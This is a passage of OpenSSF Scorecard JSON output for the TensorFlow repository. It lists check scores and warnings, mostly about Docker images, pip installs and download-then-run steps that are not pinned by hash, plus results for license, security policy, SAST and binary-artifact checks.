ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: 